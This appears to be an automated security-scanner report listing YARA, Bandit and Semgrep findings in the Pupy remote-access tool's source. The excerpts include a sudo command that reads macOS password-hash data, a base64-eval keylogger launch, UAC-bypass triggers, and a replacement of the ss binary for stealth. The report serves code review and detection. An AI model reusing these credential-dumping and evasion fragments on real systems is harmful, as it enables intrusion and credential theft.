- /client/sources-windows-py3/LoadLibraryR.c
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /client/sources-windows-py3/base_inject.c
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /client/sources-windows-py3/in-mem-exe.c
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/external/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 47
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
46 newss.close() 47 os.system("chmod +x "+path+"ss") 48 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py2/uuid.py line 323
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
322 cmd = 'LC_ALL=C %s %s 2>/dev/null' % (executable, args) 323 return os.popen(cmd) 324 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCmd.py line 560
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
559 if line.startswith('!'): 560 os.system(line[1:]) 561 return -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py2/uuid.py line 519
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
518 try: 519 pipe = os.popen(os.path.join(dir, 'ipconfig') + ' /all') 520 except IOError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/darwin/hashdump.py line 12
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
11 try: 12 raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read() 13 if len(raw) > 100: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/darwin/keylogger.py line 159
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
158 cmd = 'echo "require \'base64\';eval(Base64.decode64(\'%s\'))" | ruby > %s &' % (base64_ruby_code, logFile) 159 os.popen(cmd) 160 time.sleep(1) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 43
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
42 path=get_ss_path[:-3] 43 os.system("mv "+path+"ss "+path+"zss") 44 with open(path+"ss", "w") as newss: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/src/VideoCapture/src/mkdist.py line 21
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
20 dest = '../html/' + file + '.html' 21 os.system(scite + ' -open:%s -exportashtml:%s -quit:' % (src, dest)) 22 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 1040
- Likely real
- Uncertain, 33% confidence
subprocess call with shell=True identified, security issue.
1039 packingFinalCmd, 1040 shell=True 1041 ) 1042 1043 outpath = outfile.name 1044 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 21
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
20 def cmd_exists(cmd): 21 return subprocess.call("type " + cmd, shell=True, 22 stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 23 if cmd_exists("gcc") is True: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCmd.py line 101
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
100 self.pipe = Popen( 101 pipe, shell=True, 102 stdin=PIPE, stdout=PIPE, stderr=STDOUT 103 ) 104 self._write = write 105 self._nocrlf = nocrlf -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCmd.py line 208
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
207 self._pipe = Popen( 208 pipe, shell=True, 209 stdout=stdout, stdin=PIPE, stderr=STDOUT 210 ) 211 212 self._stdout = self._pipe.stdin -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/rubber_ducky.py line 61
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
60 try: 61 output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) 62 except subprocess.CalledProcessError as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/pupwinutils/bypassuac_registry.py line 76
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
75 eventvwrPath = os.path.join(os.environ['WINDIR'],'System32','eventvwr.exe') 76 subprocess.check_output(eventvwrPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) 77 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/pupwinutils/bypassuac_registry.py line 43
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
42 # Executing fodhelper.exe 43 subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) 44 # Enable file system redirection for the calling thread -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/posix/all/sudo_alias.py line 152
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
151 cmd = 'chmod +x {alias_file}'.format(alias_file=self.alias_file) 152 p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 153 stdout, stderr = p.communicate() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /client/pyoxidizer-build/linux-builder.Dockerfile line 16
- Likely real
- Probably noise, 22% confidence
By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.
CMD ["/bin/bash", "--login"] -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/packages/windows/amd64/vidcap.pyd
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/packages/windows/x86/vidcap.pyd
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/packages/windows/all/checkvm.py
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/picocmd/picocmd.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/pupylib/payloads/py_oneliner.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/modules/exploit_suggester.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /client/pyoxidizer-build/linux-builder.Dockerfile
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /client/sources-linux-py3/Dockerfile.linux-builder
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/packages/all/ssh.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/webstatic/jquery-3.2.1.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/packages/posix/all/sudo_alias.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/external/linenum/linenum.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/proxies.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /client/pyoxidizer-build/linux-builder.Dockerfile
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/powershell.py line 231
- Likely real
- Yes, 100% confidence
Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.
request = request.format( tmp=tmp, var=var, dest='${}='.format(dest) if dest else '', pipe='| {}'.format(pipe) if pipe else '' ) self._pipe.stdin.write(request) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/proxies.py line 336
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'HTTP Proxy found via GIO: %s:%s user=%s password=%s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.debug('HTTP Proxy found via GIO: %s:%s user=%s password=%s', host, port, user, password) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/proxies.py line 345
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'SOCKS Proxy found via GIO: %s:%s user=%s password=%s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.debug('SOCKS Proxy found via GIO: %s:%s user=%s password=%s', host, port, user, password) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/tinyhttp.py line 93
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Force preconfigured user/password for %s (realm=%s) -> user=%s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.info( 'Force preconfigured user/password for %s (realm=%s) -> user=%s', authuri, realm, self.username ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/dependencies.py line 935
- Likely real
- Yes, 100% confidence
Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
pickle.dumps(modules, 2), 9 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 111
- Likely real
- Yes, 100% confidence
Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
data = pickle.loads(data) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 129
- Likely real
- Yes, 100% confidence
Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
data = pickle.dumps(self._pstore) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/utils.py line 49
- Likely real
- Yes, 100% confidence
Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
module = pickle.loads(pkdic) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ad.py line 1210
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret '(Realm: %s) Use preconfigured credentials: domain=%s user=%s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.info( '(Realm: %s) Use preconfigured credentials: domain=%s user=%s', realm, domain, user ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 716
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret "Using default credentials for %s" being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.warning("Using default credentials for %s", key) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/dependencies.py line 382
- Likely real
- Yes, 100% confidence
Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
blob = pickle.dumps(modules, 2) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 77
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'secretstorage dbus intialization failed: %s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.exception( 'secretstorage dbus intialization failed: %s', e ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 571
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Credential "%s" is missing and will be generated' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.warning( 'Credential "%s" is missing and will be generated', cred ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 581
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Credential "%s" is expired! ' 'All related credentials will be regenerated' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.error( 'Credential "%s" is expired! ' 'All related credentials will be regenerated', cred ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 593
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Credential "%s" will expire in %d days' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.debug( 'Credential "%s" will expire in %d days', cred, diff ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 661
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Credentials storage (%s) is empty' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.error( 'Credentials storage (%s) is empty', self._configfile ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 597
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Credential "%s" exists' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.debug('Credential "%s" exists', cred) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 657
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Reading credentials from %s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.info('Reading credentials from %s', self._configfile) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 611
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Saving credentials to %s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.warning('Saving credentials to %s', self._configfile) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 194
- Likely real
- Yes, 100% confidence
Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
d1 = DES.new(des_k1, DES.MODE_ECB) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 179
- Likely real
- Yes, 100% confidence
Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
d1 = DES.new(des_k1, DES.MODE_ECB) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 180
- Likely real
- Yes, 100% confidence
Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
d2 = DES.new(des_k2, DES.MODE_ECB) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 195
- Likely real
- Yes, 100% confidence
Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
d2 = DES.new(des_k2, DES.MODE_ECB) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 79
- Likely real
- Yes, 100% confidence
Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
des = DES.new(des_key, DES.MODE_ECB) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/ssl_rsa/conf.py line 46
- Likely real
- Yes, 100% confidence
'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.
wrapped_socket = ssl.wrap_socket( sock, keyfile=tmp_key_path, certfile=tmp_cert_path, ca_certs=tmp_ca_path, server_side=self.server_side, cert_reqs=self.cert_reqs, ssl_version=self.ssl_version ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/rdp_check.py line 327
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
cipher4 = ARC4.new(self.__serverSealingKey) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/rdp_check.py line 335
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
cipher = ARC4.new(self.__clientSigningKey) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/domcachedump.py line 45
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
rc4 = ARC4.new(rc4key) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 151
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
rc4 = ARC4.new(rc4_key) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 184
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
rc4 = ARC4.new(rc4_key) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 57
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
rc4 = ARC4.new(rc4key) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/clients.py line 215
- Likely real
- Yes, 100% confidence
'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.
wrapped_socket = ssl.wrap_socket( socket, keyfile=tmp_key_path, certfile=tmp_cert_path, ca_certs=tmp_ca_path, server_side=False, cert_reqs=self.cert_reqs, ssl_version=self.ssl_version, ciphers=self.ciphers ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/__init__.py line 33
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
return ARC4.new(key) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/ssl/conf.py line 50
- Likely real
- Yes, 100% confidence
'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.
wrapped_socket = ssl.wrap_socket( sock, keyfile=tmp_key_path, certfile=tmp_cert_path, ca_certs=tmp_ca_path, server_side=True, cert_reqs=self.cert_reqs, ssl_version=self.ssl_version, ciphers=self.ciphers ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/rdp_check.py line 325
- Likely real
- Yes, 100% confidence
Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
cipher3 = ARC4.new(self.__clientSealingKey) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/dependencies.py line 322
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
config=reprb(marshal.dumps(config, 2)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/__init__.py line 346
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
exec (marshal.loads(bytes(content)), dst) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 136
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
pyoxidizer_bootstrap = f"import marshal,pupy.agent; pupy.agent.main(config=marshal.loads({marshal.dumps(config)}))#" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 140
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
new_conf = marshal.dumps([config, pupylib], 2) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCompile.py line 67
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
body = marshal.dumps( compile(self.visit(self._source_ast), filename, 'exec') ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCompile.py line 160
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
data = marshal.dumps(compile(source, filename, 'exec')) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/dependencies.py line 321
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
stdlib=reprb(marshal.dumps(stdlib, 2)), -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /client/build_library_zip.py line 314
- Likely real
- Yes, 100% confidence
The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security
zf.writestr('fid.toc', marshal.dumps(compile_map)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/persistence.py line 265
- Likely real
- Yes, 100% confidence
These permissions `0o711` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.
os.chmod(target, 0o711) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/launchers/dnscnc.py line 84
- Likely real
- Yes, 100% confidence
These permissions `0o700` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.
os.chmod(tmp_path, 0o700) -
- Engine
